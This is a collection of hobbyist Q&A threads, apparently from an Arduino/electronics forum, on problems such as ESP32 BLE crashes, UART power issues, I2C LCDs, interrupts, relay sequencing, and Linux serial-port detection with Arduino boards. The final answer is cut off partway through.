# Question
Title: ESP32 stack error when reading from BLE device
I'm using this code here to read data from a BLE thermometer using an ESP32.

The code sometimes works fine and i can get the data:

```
+ Connect : a4:c1:38:69:0c:ff
 * Connected a4:c1:38:69:0c:ff
 + Found our service
 + Found our characteristic
 + Notify callback for characteristic ebe0ccc1-7a0a-4b0c-8a1a-6ff2997da3a6
temp = 21.8 C ; humidity = 48.0 % ; voltage = 2.564 V
 * Disconnected a4:c1:38:69:0c:ff

```

Other times i get a CPU panic, related to a stack error:

```
+ Connect : a4:c1:38:69:0c:ff
 * Connected a4:c1:38:69:0c:ff
 + Found our service
 + Found our characteristic
 + Notify callback for characteristic ebe0ccc1-7a0a-4b0c-8a1a-6ff2997da3a6
temp = 21.8 C ; humidity = 47.0 % ; voltage = 2.564 V
Guru Meditation Error: Core  0 panic'ed (Unhandled debug exception)
Debug exception reason: Stack canary watchpoint triggered (btuT)
Core 0 register dump:
PC      : 0x4000c472  PS      : 0x00060a36  A0      : 0x8012b791  A1      : 0x3ffcf7e0
A2      : 0x3ffcf7f4  A3      : 0x00000000  A4      : 0x00000268  A5      : 0x3ffcfa14
A6      : 0x3ffde1ad  A7      : 0x00000026  A8      : 0x8012987e  A9      : 0x3ffd0270
A10     : 0x3ffdb99c  A11     : 0x3ffddca8  A12     : 0x3ffd050a  A13     : 0x00000001
A14     : 0x00000004  A15     : 0x00000000  SAR     : 0x00000010  EXCCAUSE: 0x00000001
EXCVADDR: 0x00000000  LBEG    : 0x4000c46c  LEND    : 0x4000c477  LCOUNT  : 0x00000003

ELF file SHA256: 0000000000000000

Backtrace: 0x4000c472:0x3ffcf7e0 0x4012b78e:0x3ffcf7f0 0x40129815:0x3ffcfa80 0x40125e62:0x3ffcfd10 0x401286e8:0x3ffcfd30 0x4012987b:0x3ffcffc0 0x40125e62:0x3ffd0250 0x401286e8:0x3ffd0270 0x4012987b:0x3ffd0500 0x40125e62:0x3ffd0790 0x401286e8:0x3ffd07b0 0x4012940a:0x3ffd0a40 0x40125e62:0x3ffd0a60 0x40129621:0x3ffd0a80 0x40125e62:0x3ffd0aa0 0x4012933d:0x3ffd0ac0 0x40129359:0x3ffd0ae0 0x40125e62:0x3ffd0b00 0x40125fa1:0x3ffd0b20 0x4012fb36:0x3ffd0b40 0x401042a6:0x3ffd0b60 0x4008ff9e:0x3ffd0b90

Rebooting...

```

I'm using an ESP-WROOM-32 with PlatformIO, what could be the issue?

# Answer
To help others. I resolved this issue by using the ArduinoBLE lib instead of the ESP32\_BLE one I was using.
> 1 votes

---
Tags: esp32, bluetooth, ble, esp
---


# Question
Title: Trouble connecting barcode scanner to ESP32 devkit using UART - fails to connect over serial
I'm having trouble connecting a SparkFun 2D Barcode Scanner Breakout (effectively a DE2120) to a 30-pin ESP32 dev kit v1 (marked ESP-WROOM-32) and running the SerialScan sample application for this sensor successfully.

I believe I have the two devices connected as per the instructions:

> ESP32 -\> DE2120
> 3V3 -\> 3.3v
> GND -\> GND
> RX2 -\> RX
> TX2 -\> TX

In the sample code I have pins configured as follows:

```
SoftwareSerial softSerial(25,27);

```

(according to the mapping here these are the TX2/DX2 and the right pin numbers)

But something is not right: the sample code never reports a connection being made. Tracing this back, it looks like isConnected() here is always returning false, which means sendCommand() is either timing out or getting a DE2120\_COMMAND\_NACK.

I'm stumped. I've tried 2 different scanner units, replaced all the cables, tried swapping pin numbers around, and done a load of trials using HardwareSerial too with no success. The scanner unit itself responds to commands when I connect it to a laptop and talk to it over USB serial.

Any ideas? I am assuming there is something deeply trivial I'm getting wrong (e.g. in the physical connection or in the specifics of serial connections on ESP32). Generally I've found example code from Arduino libraries runs first time, but I am relatively new to Arduino.

Update 7/20: I have tried with pins 16 and 17, and also with RX2-\>TX and TX -\> RX2. I have scanned the setup barcode as per the instructions.

# Answer
Answering my own question: this is about the scanner not getting enough power from the ESP32 devkit board, I think.

When I power both the barcode scanner and the ESP32 from separate power supplies (both USB) I can connect from the ESP32 to the scanner and read codes just fine.

However when I power the scanner from the ESP32, following the instructions in the hookup guide, the scanner is unresponsive.
> 0 votes

---
Tags: serial, esp32, uart
---


# Question
Title: How can I force an I2C module (for 1602 and 2004) to work with a 1601 LCD at my Arduino Micro
I'm new to Arduino and want to build a Button Box. When I buyed the parts I didn't watched out for the specifications of the I2C module. When I tried to print sth on the LCD nothing happened (in retro perspective it's logical). I wouldn't like to have to buy a new LCD.

How can I make the LCD work with the I2c module?

LCD - http://cdn-reichelt.de/documents/datenblatt/A500/DEM16101SYH.pdf

I2C-module - http://mantech.co.za/datasheets/products/lcd2004-i2c.pdf

it's wired correctly (VCC to 5V, GND to GND, SDA to SDA and SCL to SCL)

The Code I used is the "Hello World" Example thats included in the LiquidCrystal\_I2C library, but with a few changes:

```
//YWROBOT
//Compatible with the Arduino IDE 1.0
//Library version:1.1
#include <Wire.h>
#include <LiquidCrystal_I2C.h>

LiquidCrystal_I2C lcd(0x27,16,1);  //instead of LiquidCrystal_I2C lcd(0x27,20,4);

void setup()
{
  lcd.init();                      // initialize the lcd
  lcd.init();
  // Print a message to the LCD.
  lcd.backlight();
  lcd.setCursor(3,0);
  lcd.print("Hello, world!");
  lcd.setCursor(2,0); //isntead of lcd.setCursor(2,1);
  lcd.print("Ywrobot Arduino!");
   lcd.setCursor(0,0); //instead of lcd.setCursor(0,2);
  lcd.print("Arduino LCM IIC 2004");
   lcd.setCursor(2,0); //instead of lcd.setCursor(2,3);
  lcd.print("Power By Ec-yuan!");
}

void loop()
{
}

```

# Answer
Welcome Chritzelopf! Yes pull up resistors are required by the I2C definition. Your link on the driver shows they are not included and no schematic to indicate otherwise. The I2C bus is driven by open collector/drain semiconductor devices. This configuration will pull the line low but not source any current into it other then possibly some leakage. When the outputs of the I2C device are off the bus is pulled high or placed in the recessive state by the pull up resistors. When one or more of the devices turn on the bus is now in the dominate state or low. This configuration allows anything to turn on or off without damaging other devices on the bus. I like the pull up(s) to be in the 4.7K for 5V and about 3.3K in the 3V3v.

Some modules come with pull ups that are permanently connected, others are selectable with jumpers etc. This is NOT the A0 - A? jumpers which are address select lines. I always check the modules to determine if there are pull ups enabled and adjust my other resistances to get an appropriate value, sometimes even removing them.
> 1 votes

---
Tags: i2c, lcd
---


title: Can't make attachInterrupt() work

text:
# Question
Title: Can't make attachInterrupt() work
I have an accel+gyro sensor connected to an Arduino Zero. It's configured to output an interrupt signal on pin 2 when tapped. I can do a `digitalRead()` on the pin, and it does go high, so the interrupt from the sensor is triggering as expected.

However, when I try to `attachInterrupt()` to that pin, so I can update a Boolean variable to use later in the code, it doesn't work; the boolean variable never updates.

Am I doing something wrong in the code, or is it a hardware issue? Thank you for your help.

```
byte int2 = 2;
int int2_val;
volatile boolean tapcheck = false;

void interrupt_setup() {
  // set up the sensor to fire interrupts
  // ...

  pinMode(int2, INPUT);

  // attach an interrupt on pin 2
  attachInterrupt(digitalPinToInterrupt(int2), tapdummyf, RISING);
}

// double tap ISR function
void tapdummyf () {
  tapcheck = !tapcheck;
}

void interrupt_test() {
  int2_val = digitalRead(int2);
  if (int2_val == 1) {
    SerialUSB.println ("interrupt triggered ");
    int2_val = 0;
  }
}

void loop(void) {
// in loop
  interrupt_test();
    if (tapcheck){
          SerialUSB.println("dt1");
    }
}

```

# Answer
> 1 votes
Pin 2 on Arduino M0 is the only pin on headers which doesn't support external interrupt because it is mapped to SAMD21G pin PA08 which is the only pin of SAMD which can't be multiplexed as external interrupt (because it is the only pin which supports NMI).

On Arduino Zero SAMD pin PA08 is mapped to headers pin 4, which is a better choice for a board in Uno format since on Uno only pins 2 and 3 support external interrupt. Maybe there was originally an idea that NMI (non-maskable interrupt) is an even better external interrupt.

Function attachInterrupt requires a pin which support external interrupt.

It looks like you have an Arduino M0 board, not Arduino Zero.

# Answer
> 0 votes
You should use an external pulldown resistor on your input pin, 10K would probably be ideal, tapcheck will only be true on alternate interrupts as you're toggling it.

---
Tags: interrupt, isr
---


title: L LED keeps staying on

text:
# Question
Title: L LED keeps staying on
I am trying to get the Arduino to reboot my PC when it is off.

Using the front panel header on the PC, I connected the power switch and PLED directly to the Arduino Uno as the header only outputs 5 V.

I'm able to check the status using the L LED, but once I connect the power switch pins to the Arduino to turn on the PC the L LED is always on. This kind of defeats the purpose of what I was trying to do as I wanted the L LED to be off when the PC is off and on when the PC is on, similar to how the LED on the PC power button works.

If someone can give their insight please, the code and pin diagram is below.

```
const int ledPin = 13; // LED on arduino should be on when PC is on and off when PC is off
const int pwrPin = 8; // attached to power switch to turn on and off PC
const int PLED = 7;

void setup() {
  Serial.begin(9600);  // initialize serial communication:
  pinMode(PLED, INPUT);
  pinMode(ledPin, OUTPUT);
  pinMode(pwrPin, OUTPUT);
}

void loop() {
  int status;
  status = digitalRead(PLED); // reads the status of PLED
  if (status == HIGH) { // if PC is on keep on until Python script shuts down PC.
    digitalWrite(ledPin, HIGH);
    Serial.print("PC is on");
    delay(5000);
  }
  else { // when PC is off, arduino should turn back on to cold reboot the PC
    digitalWrite(ledPin, LOW);
    Serial.print("PC is off. Turning on in 10 seconds");
    delay(10000);
    // Added Code. Emulates pushing the PC button when PC is off
    digitalWrite(pwrPin, LOW);
    delay(500);
    digitalWrite(pwrPin, HIGH);
  }
  delay(500);
}

```

The little box with circles is the front panel header on the mobo.

# Answer
> -1 votes
The led power pins on the motherboard you are connecting to are not "power led+" and "power led-", they are "led+" for two separate leds (specifically meant for a green led and a yellow led). See this page for the pinout used by Intel.

All the leds use the a common ground for "led-". By connecting it as you have, you are shorting out one of the led pins. Disconnect that pin from ground and you should be able to read the other pin correctly.

---
Tags: arduino-uno, programming, led
---


title: Non-blocking sketch

text:
# Question
Title: Non-blocking sketch
So far, a part of this code works fine, but Relay 1 keeps turning on and off instead of staying off.

My purpose is to turn Relay 7 on, wait 3s, turn Relay 8 on, wait 10s, turn Relay 6 on, wait 10s, turn Relay 7 off, wait 10s, turn Relay 5 on, wait 3s, turn Relay 6 off, wait 10s, turn Relay5 on, wait 3s, turn Relay 6 off, wait 10s, turn Relay4 on, wait 3s, turn Relay 5 off, wait 10s, turn Relay 3 on, wait 3s, turn Relay 4 off, wait 10s, turn Relay 2 on, wait 3s, turn Relay 3 off, wait 10s, turn Relay 1 on, wait 10s, turn Relay 1 off, wait 3s, turn Relay 8 off, without looping, only one sequence.

I need some help.

```
int RelayPompe = 2;
int RelayVanne7 = 3;
int RelayVanne6 = 4;
int RelayVanne5 = 5;
int RelayVanne4 = 6;
int RelayVanne3 = 7;
int RelayVanne2 = 8;
int RelayVanne1 = 9;

const unsigned long eventInterval1 = 10000;
const unsigned long eventInterval2 = 3000;
const unsigned long eventInterval3 = 15000;
const unsigned long eventInterval4 = 20000;
unsigned long previousTime1 = 0;
unsigned long previousTime2 = 0;
unsigned long previousTime3 = 0;
unsigned long previousTime4 = 0;

void setup() {
  Serial.begin(9600);
  pinMode(RelayPompe, OUTPUT);
  pinMode(RelayVanne1, OUTPUT);
  pinMode(RelayVanne2, OUTPUT);
  pinMode(RelayVanne3, OUTPUT);
  pinMode(RelayVanne4, OUTPUT);
  pinMode(RelayVanne5, OUTPUT);
  pinMode(RelayVanne6, OUTPUT);
  pinMode(RelayVanne7, OUTPUT);
  digitalWrite(RelayPompe, HIGH);
  digitalWrite(RelayVanne1, HIGH);
  digitalWrite(RelayVanne2, HIGH);
  digitalWrite(RelayVanne3, HIGH);
  digitalWrite(RelayVanne4, HIGH);
  digitalWrite(RelayVanne5, HIGH);
  digitalWrite(RelayVanne6, HIGH);
  digitalWrite(RelayVanne7, HIGH);
}

void loop() {
  unsigned long currentTime = millis();
  if (currentTime - previousTime1 >= eventInterval1) {
    digitalWrite(RelayPompe, LOW);
    previousTime1 = currentTime;
  }
  if (currentTime - previousTime2 >= eventInterval2) {
    digitalWrite(RelayVanne1, LOW);
    previousTime2 = currentTime;
  }
  if (currentTime - previousTime3 >= eventInterval3) {
    digitalWrite(RelayVanne2, LOW);
    previousTime3 = currentTime;
  }
  if (currentTime - previousTime4 >= eventInterval4) {
    digitalWrite(RelayVanne1, HIGH);
    previousTime4 = currentTime;
  }
}

```

# Answer
> 2 votes
For this kind of thing I'd be inclined to create an array (maybe of structs) describing what you want the relays to do, then write a program that steps through that array executing each "instruction" in sequence. That way it separates out what you want to do from how you want it to be done (if that makes sense).

So you could make a simple struct:

```
typedef struct {
    uint8_t relays;
    uint32_t postDelay;
} RelayState;

```

Then you can make an array using that struct to describe your relay states. Using a bitmap for your relays (bit 0 is relay 1, bit 1 is relay 2, etc) means you can pack everything into one integer and describe the relays in binary notation:

```
RelayState states[] = {
    { 0b01000000,  3000 }, // Relay 7 on, wait 3 seconds
    { 0b11000000, 10000 }, // Relay 8 on, wait 10 seconds
    { 0b11100000, 10000 }, // Relay 6 on, wait 10 seconds
    { 0b10100000, 10000 }, // Relay 7 off, wait 10 seconds
    { 0b10110000,  3000 }, // Relay 5 on, wait 3 seconds
    // ... etc ...
    { 0, 0 } // Marker for the end of the array
};

```

If ever you want to change the sequence you just change the contents of that array with no need to mess with the rest of your program.

It can also be useful to create an array with your relay pins in it:

```
const uint8_t relayPins[8] = { 9, 8, 7, 6, 5, 4, 3, 2 };

```

Now you just need to write a small program that only has to deal with the current entry in the array - set the relays according to the first part then delay according to the second part, and step to the next entry. Something that could look like:

```
void setup() {
    // Set the relay pins to outputs
    for (int i = 0; i < 8; i++) {
        pinMode(relayPins[i], OUTPUT);
    }

    // Set the initial state from the first entry in the array
    setRelays(states[0].relays);
}

void loop() {
    static uint32_t ts = millis(); // Storage for the time
    static uint8_t pos = 0;

    if ((millis() - ts) >= states[pos].postDelay) { // Our time is up
        ts = millis(); // Record the time
        pos++; // Move to the next entry
        if ((states[pos].relays == 0) && (states[pos].postDelay == 0)) { // Last entry marker
            pos = 0; // Start from the beginning again
        }
        setRelays(states[pos].relays);
    }
}

// Small helper function to set the relays according to a bitmap
void setRelays(uint8_t bm) {
    for (int i = 0; i < 8; i++) {
        digitalWrite(relayPins[i], bm & (1 << i));
    }
}

```

Note: this code has not been tested, just written "off the cuff", and may not even compile. But regardless, it should give you a rough idea of the methodology.

---

The format of the bitmaps is very simple. They're just a binary representation of a number where each bit is one relay. Turn that bit on and the corresponding relay turns on.

* Relay 1: 0b00000001
* Relay 2: 0b00000010
* Relay 3: 0b00000100

etc. Just set a 1 for a relay to be on and a 0 for a relay to be off at that point in time.

So turn relay 1 on is 0b00000001, then turn on relay 4 at the same time is 0b00001001, and then turn relay 1 off again is 0b00001000 (relay 4 is still on).

---
Tags: c++
---


title: How to set number in address field?

text:
# Question
Title: How to set number in address field?
I want to build structure of record. The problem is that I can't build the address field correctly. Can any one help me?

P.s: the address\[16:2\] is start from bit 61 to bit 47 so please you can't say you should shift it by 32.

# Answer
> 2 votes
For this I would use *bit fields*:

```
typedef union {
    struct {
        uint8_t raw[8]; // Raw access to the bytes
    };
    struct {
        unsigned data:32;
        unsigned cs14:1;
        unsigned cs13:1;
        unsigned cs12:1;
        unsigned cs11:1;
        unsigned cs10:1;
        unsigned cs9:1;
        unsigned cs8:1;
        unsigned cs7:1;
        unsigned cs6:1;
        unsigned cs5:1;
        unsigned cs4:1;
        unsigned cs3:1;
        unsigned cs2:1;
        unsigned cs1:1;
        unsigned cs0:1;
        unsigned address:15;
        unsigned parity:1;
        unsigned stop:1;
    };
    struct {
        unsigned :32;
        unsigned cs:15;
        unsigned :17;
    };
} Packet;

```

Then you can:

```
Packet p;
p.data = 0x493DE26CUL;
p.address = 0x13f3;
p.cs3 = 1;
// or
p.cs = 0x0080;

```

etc.

---
Tags: programming
---


# Question
Title: Arduino Uno R3 not recognized by Arduino IDE on Ubuntu 21.04
Now I've been pulling my hair for two days over this one. I've tried everything. I've turned every stone, looked at every search result, and every Arduino Forums thread.

The problem is that Arduino IDE does not recognize the Arduino when connected to the PC, thus I can't upload compiled sketches. As usual, the serial port dropdown menu is greyed-out.

Things I have tried so far:

1. Tried a different USB cable. Same results.
2. Tried it on a Mac. It works flawlessly with different sketches.
3. Looked at dmesg logs for Arduino when connecting. It connects to the PC successfully.
4. Created a custom udev rule for it to be symlinked from /dev/bus/usb/001/00X to /dev/ttyACMX.
5. Modified the custom udev rule for it to be symlinked from /dev/bus/usb/001/00X to /dev/ttyUSBX (since for some reason IDE was looking for ttyUSB0 first).
6. Tried Arduino IDE from snap, apt, and from arduino.cc. All of them work the same.
7. Tried different versions of AVR board packages from the Boards Manager, none of them work at all.
8. Tried a NodeMCU (ESP8266), it works flawlessly.
9. Tried Arduino Due, it works flawlessly.
10. Added myself to dialout, uucp, and tty groups. Nothing changed.
11. Changed permissions to a+rwx for all possible Arduino device file nodes.
12. Changed group ownership to dialout, uucp, and tty for all possible Arduino device file nodes.
13. Tried running Arduino IDEs as root. Nothing changed.
14. Installed different firmware and libraries for linux (ex. libserialport0)
15. Patched the apt version of Aruino IDE with patchelf.
16. Updated.
17. Rebooted.

"But hey man, why don't you just use the Mac to compile and upload the sketch, or any other MCU for that matter?" - Because I need to get output from my main PC and delegate it via serial to the Arduino. And Arduino Due is too clunky. And NodeMCU has disputable support for FastLED.

If any of you crazy mfs has an idea on how to solve this, I owe you a beer.

# Answer
After upgrading to Ubuntu 22.04 from 20.10, I could no longer upload anything to Arduino UNO boards. Issue was, the correct port was not listed in the Arduino IDE. All I had available as a port was ttyS0. It won't work with USB boards. I am using Arduino IDE 1.8.19, but I believe this is irrelevant to the issue.

After checking the logs :

```
sudo dmesg

```

I got this output:

```
usb 4-2: Product: USB2.0-Serial
ch341 4-2:1.0: ch341-uart converter detected
usb 4-2: ch341-uart converter now attached to ttyUSB0
input: BRLTTY 6.4 Linux Screen Driver Keyboard as /devices/virtual/input/input27
usb 4-2: usbfs: interface 0 claimed by ch341 while 'brltty' sets config #1
ch341-uart ttyUSB0: ch341-uart converter now disconnected from ttyUSB0
ch341 4-2:1.0: device disconnected

```

So, my Arduino UNO boards all seem to be recognized as some braille tty device (!). Then braille support tries to establish dialog with the UNO board. This of course fails, resulting in a disconnection of the UNO board, causing removal of device /dev/ttyUSB0. This is the reason why it does not show up in the IDE.

The quick fix is to simply remove braille tty display devices support if you don't need it.

```
sudo apt remove -y brltty

```

This worked for me. Hopefully it works for you too.

The issue might be related to some udev rule installed with the package brltty. If I am not mistaken, udev rules are processed in alphabetical order. So it could be that some braille udev rule matches in first, causing the above mentioned scenario.
> 1 votes

# Answer
I have experienced that with several new installs of the Linux OS. Try this:

Linux does not see board Run:

Type 'groups', is 'dialout' there ?

sudo usermod -a -G tty yourUserName

sudo usermod -a -G dialout yourUserName

Log off and log on again for the changes to take effect. https://playground.arduino.cc/Linux/All/#Permission sudo ln -s /usr/bin/python3 /usr/bin/python
> 0 votes

---
Tags: arduino-uno, serial, usb, linux, ubuntu
---


# Question
Title: strtok() command with Serial communicaton
After I take a char\* variable from serial communication, I use `strtok` to split variables with " ". But when I do that it acts like there is a " " after every character. I dont know why. How can I fix this ?

```
void setup() {
  Serial.begin(9600); // opens serial port, sets data rate to 9600 bps
  char* a = "The quick brown fox jumped over the lazy dog.";
  char* c = a3;
  char* b;
  b = strtok(c, " ");
  while (b != NULL) {
    Serial.println(b);
    b = strtok(NULL, " ");
  }
}

void loop() {
}

```

outcome:

```
The
quick
brown
...

```

This parsing code works perfectly, until I take it from serial ports. Serial code here, like this:

```
#include <SoftwareSerial.h>
#define bRSerial 9600
#define bRmY 9600

char vD[45];
int i = 0;

SoftwareSerial mySerial(10, 11); // RX, TX

void setup() {
  Serial.begin(bRSerial);
  while (!Serial) {
    ;
  }
  mySerial.begin(bRmY);
}

void loop() {
  if (mySerial.available()) {
    //Serial.write(mySerial.read());
    vD[i]=mySerial.read();
    i++;
    if (i = 46) {
      char* a = vD;
      char* b;

      b = strtok(a, " ");
      while (b != NULL) {
        Serial.println(b);
        b = strtok(NULL, " ");
      }
      i=0;
    }
  }
}

```

outcome:

```
T
h
e
q
u
i
c
k
b
r
o
w
...

```

Is there a way to fix this? i need to get it from serial and split on " ".

# Answer
only a syntax typo. the condition should be `if ( i == 46 ) {`

if this is not only a strtok test, the you do not need strtok. read in char c, and if `c == ' '`, print vD and reset i to 0

and I do not see where you set the terminating 0 of `vD` a.k.a. `a`
> 3 votes

# Answer
As @Juraz mentioned, in the case you have a typo. Also I'd have suggestions as one who had spent a while coding reading process in terminal. When you need to read something from a serial port it is good to use the `while()` loop, instead of `if()`, so I recommend changing:

```
while (mySerial.available()) {
  //Serial.write(mySerial.read());
  vD[i]=mySerial.read();
  i++;
  if (i == 46) {
    char* a = vD;
    char* b;

    b = strtok(a, " ");
    while(b != NULL) {
      Serial.println(b);
      b = strtok(NULL, " ");
    }
    i=0;
  }
}

```
> 0 votes

---
Tags: arduino-uno, serial, programming
---


# Question
Title: Having issues Connecting to a web server and pulling the data back
I have some arduino code where I am trying to pull information from four different locations. Three are working great and the fourth I am not getting any response.

These two strings work perfect in a browser and I get the proper data response. http ://10.196.1.163:8086/query?db=Garden&q=SELECT * FROM "Station" WHERE station = 61 ORDER BY DESC LIMIT 1 Or http://10.197.1.57:8086/query?db=Garden&q=SELECT%20\*%20FROM%20%22Station%22%20WHERE%20station%20=%2091%20ORDER%20BY%20DESC%20LIMIT%201

> {"results":\[{"statement\_id":0,"series":\[{"name":"Station","columns":\["time","altitude","humid","moist","press","rainfall","soiltemp","station","temp","type","vbat","winddir","windspeed"\],"values":\[\["2022-01-08T21:13:58Z",1269,29.2,0,28.5,0,0,91,73.4,9,4.32,0,0\]\]}\]}\]}

The code below is what I am trying to use. It appears to make the connection but brings nothing back.

What I see in the console is:

```
  19:55:42.024 -> Starting connection to server: 10.196.1.163 InfluxDB Garden DB...
  19:55:42.024 -> connected to server
  19:55:42.024 ->

```

The next line is starting to connect to the next server which brings back the JSON data fine. I have been assuming that I was having issues because of the alternate port 8086 I was connecting to, but I am not sure. I have been looking and finding examples similar to what I am doing.

I must be just missing something, but I am not sure what. I have been working off and on for this issue for a couple of months.

```
void getLocalDataQuery2() {
  Serial.println("\nStarting connection to server: 10.196.1.163 InfluxDB Garden DB...");
  if (client.connect(server2, 8086)) {
    Serial.println("connected to server");
    client.print("GET /query?");
    client.print("db=Garden");
    client.println("&q=SELECT%20*%20FROM%20%22Station%22%20WHERE%20station%20=%2091%20ORDER%20BY%20DESC%20LIMIT%201");
    client.println("Host: 10.196.1.163");
    client.println("Connection: close");
    client.println();
  } else {
    Serial.println("unable to connect");
    while (WiFi.begin(ssid, pass) != WL_CONNECTED) {
      // unsuccessful, retry in 4 seconds
      Serial.print("failed ... ");
      delay(4000);
      Serial.print("retrying ... ");
    }
  }
  String line = "";

  while(client.available())
  {
    line = client.readStringUntil('\n');

    Serial.print("Line : ");
    Serial.println(line);
  }
}

```

# Answer
My solution to this was to setup a webserver running php code in a Docker container. The php code ran the influxdb query and sends the results
> 1 votes

# Answer
A client doesn't receive data immediately after sending a request. So client.available() returns 0 at first and your `while` loop is skipped.

The `readStringUntil` is one of the functions which wait for the next byte until timeout (1 second by default). So you can call readStringUntil first and it will wait for the data to arrive.

One way would be to replace the `while` loop with a `do while` loop, but the `do while` loop is strange and even experienced programmers don't like to use it.

In real application the first line of a HTTP response is important, because it contains the response status. The rest of the response header lines can be skipped.

So why not add reading of the first line before the `while` loop? This way `readStringUntil` will wait for the response and read the first line.

```
  String line = client.readStringUntil('\n');
  line.trim();
  Serial.print("Status line : ");
  Serial.println(line);

  while (client.available())
  {
    line = client.readStringUntil('\n');
    line.trim();
    Serial.print("Line : ");
    Serial.println(line);
  }

```
> 0 votes

---
Tags: programming, feather
---


title: Stepper motor and blink LED

text:
# Question
Title: Stepper motor and blink LED
I connected a LED stick to a stepper motor. Is it possible to blink the LED without stopping the motor rotation?

I am using SparkFun RedBoard Plus, Qwiic LED Stick - APA102C, Adafruit Stepper motor - NEMA-17 size - 200 steps/rev and Adafruit Motor Shield V2

Thanks

Script:

```
#include <Adafruit_MotorShield.h>
#include <Wire.h>
#include "Qwiic_LED_Stick.h"

LED LEDStick;
Adafruit_MotorShield AFMS = Adafruit_MotorShield();
Adafruit_StepperMotor *myMotor = AFMS.getStepper(200, 2);

void setup() {
  Wire.begin();
  Serial.begin(9600);
  while (!Serial);
  Serial.println("Stepper test!");

  if (!AFMS.begin()) {
    // if (!AFMS.begin(1000)) {
    Serial.println("Could not find Motor Shield. Check wiring.");
    while (1);
  }
  Serial.println("Motor Shield found.");
  myMotor->setSpeed(25);  // 25 rpm

  if (LEDStick.begin() == false) {
    Serial.println("Qwiic LED Stick failed to begin. Please check wiring and try again!");
    while (1);
  }
  Serial.println("Qwiic LED Stick ready!");
}

void loop() {
  Serial.println("Single coil steps");
  myMotor->step(200, FORWARD, SINGLE);

  LEDStick.setLEDColor(10, 10, 10);
  delay(1000);
  LEDStick.LEDOff();
  delay(1000);
}

```

# Answer
> 2 votes
Often, the solution to most simultaneous software delay problems is a state machine. Generally, a state machine is an infinite loop with no or few delays. The state machine's job is to keep track of all the possible state the software is to control.

In this case we might try to implement:

1. LED on & motor active.
2. LED off & motor active.
3. LED on & motor is not active.
4. LED off & motor is not active.

The library Adafruit\_StepperMotor you have chosen might be blocking. This text from the Arduino reference step library admits this similar function is blocking:

> This function is blocking; that is, it will wait until the motor has finished moving to pass control to the next line in your sketch.

If so, and the call to step() blocks the LED action for longer then is tolerable, consider calling step() with fewer step such that the blocking delay is tolerable. For example, 100 steps are desired, consider calling step 10 times only advancing the motor 10 steps each time.

Back to the state machine. To keep track of the above 4 state you need 2 flags. An LED flag and a Motor flag. Control the LED flag using mills() not delay().

mills():

> Returns the number of milliseconds passed since the Arduino board began running the current program. This number will overflow (go back to zero), after approximately 50 days.

Consider writing the state machine code to immediately turn the LED on and save the current value returned from mills(). Each subsequent time through the state machine check if mills() returns a value 1000 more than the value saved (do consider that mills() will eventually overflow and start over at zero). When it does toggle the LED, save the new mills() returned value and start checking each subsequent time through the state machine.

As we are running the state machine over and over again as fast as the processor can manage, we can also test an externally set flag to run the motor. We need to determine if the call to step() is blocking. If it is we need to determine the maximum number of steps / delay tolerable by the LED feature. If we discover this is, say, 10 step, we need to devise code to divide the desired number of steps into individual calls of 10 or less steps. If this approach is desired, control the state machine's motor flag by activating it when the number of steps is \> 0. Subtracting 10 from the number of steps every iteration through the state machine. And setting the state machine's motor flag to deactivate when steps is = 0.

---
Tags: led, stepper-motor
---


# Question
Title: Blink LED without delay with stepper motor
Based on a previous question I modified the script to use blink without delay.

Unfortunately, it does not work, any idea why?

I am using SparkFun RedBoard Plus, Qwiic LED Stick - APA102C, Adafruit Stepper motor - NEMA-17 size - 200 steps/rev and Adafruit Motor Shield V2.

Modified code (based on @Michel Keijzers, see below):

```
#include <Wire.h>
#include <Adafruit_MotorShield.h>
#include "Qwiic_LED_Stick.h" // Click here to get the library: http://librarymanager/All#SparkFun_Qwiic_LED_Stick

// Variables will change:
int ledState = LOW;             // ledState used to set the LED

unsigned long previousMillis = 0;        // will store last time LED was updated

// constants won't change:
const long interval = 500;           // interval at which to blink (milliseconds)

LED LEDStick; //Create an object of the LED class

Adafruit_MotorShield AFMS = Adafruit_MotorShield();
Adafruit_StepperMotor *myMotor = AFMS.getStepper(200, 2);

void setup() {
  Wire.begin();
  Serial.begin(115200);
  while (!Serial);
  Serial.println("Stepper test!");

  if (!AFMS.begin()) {
    // if (!AFMS.begin(1000)) {
    Serial.println("Could not find Motor Shield. Check wiring.");
    while (1);
  }
  Serial.println("Motor Shield found.");
  myMotor->setSpeed(50);  // 50 rpm

  //Start up communication with the LED Stick
  if (!LEDStick.begin())  {
    Serial.println("Qwiic LED Stick failed to begin. Please check wiring and try again!");
    while (1);
  }

  Serial.println("Qwiic LED Stick ready!");
//  LEDStick.setLEDColor(255, 0, 0);
  LEDStick.setLEDBrightness(1);
}

void loop() {
  unsigned long currentMillis = millis();

  if (currentMillis - previousMillis >= interval) {
    // save the last time you blinked the LED
    previousMillis = currentMillis;

    ledState = !ledState;
    // set the LED with the ledState of the variable:
    uint8_t intensity = ledState == HIGH ? 255 : 0;
    LEDStick.setLEDColor(intensity, intensity, intensity);
  }

  Serial.println("Single coil steps");
  myMotor->step(200, FORWARD, SINGLE);
}

```

Code:

```
#include <Wire.h>
#include <Adafruit_MotorShield.h>
#include "Qwiic_LED_Stick.h" // Click here to get the library: http://librarymanager/All#SparkFun_Qwiic_LED_Stick

// Variables will change:
int ledState = LOW;             // ledState used to set the LED

unsigned long previousMillis = 0;        // will store last time LED was updated

// constants won't change:
const long interval = 1000;           // interval at which to blink (milliseconds)

LED LEDStick; //Create an object of the LED class
Adafruit_MotorShield AFMS = Adafruit_MotorShield();
Adafruit_StepperMotor *myMotor = AFMS.getStepper(200, 2);

void setup() {
  Wire.begin();
  Serial.begin(115200);
  while (!Serial);
  Serial.println("Stepper test!");

  if (!AFMS.begin()) {
    // if (!AFMS.begin(1000)) {
    Serial.println("Could not find Motor Shield. Check wiring.");
    while (1);
  }
  Serial.println("Motor Shield found.");
  myMotor->setSpeed(50);  // 50 rpm

  //Start up communication with the LED Stick
  if (LEDStick.begin() == false) {
    Serial.println("Qwiic LED Stick failed to begin. Please check wiring and try again!");
    while (1);
  }

  Serial.println("Qwiic LED Stick ready!");
}

void loop() {
  unsigned long currentMillis = millis();

  if (currentMillis - previousMillis >= interval) {
    // save the last time you blinked the LED
    previousMillis = currentMillis;

    // if the LED is off turn it on and vice-versa:
    if (ledState == LOW) {
      ledState = HIGH;
    } else {
      ledState = LOW;
    }

    // set the LED with the ledState of the variable:
    LEDStick.setLEDColor(50, 50, 50);
  }

  Serial.println("Single coil steps");
  myMotor->step(200, FORWARD, SINGLE);
}

```

# Answer
You only set (assign) `ledState`, but you never use it.

I think the following fragment

```
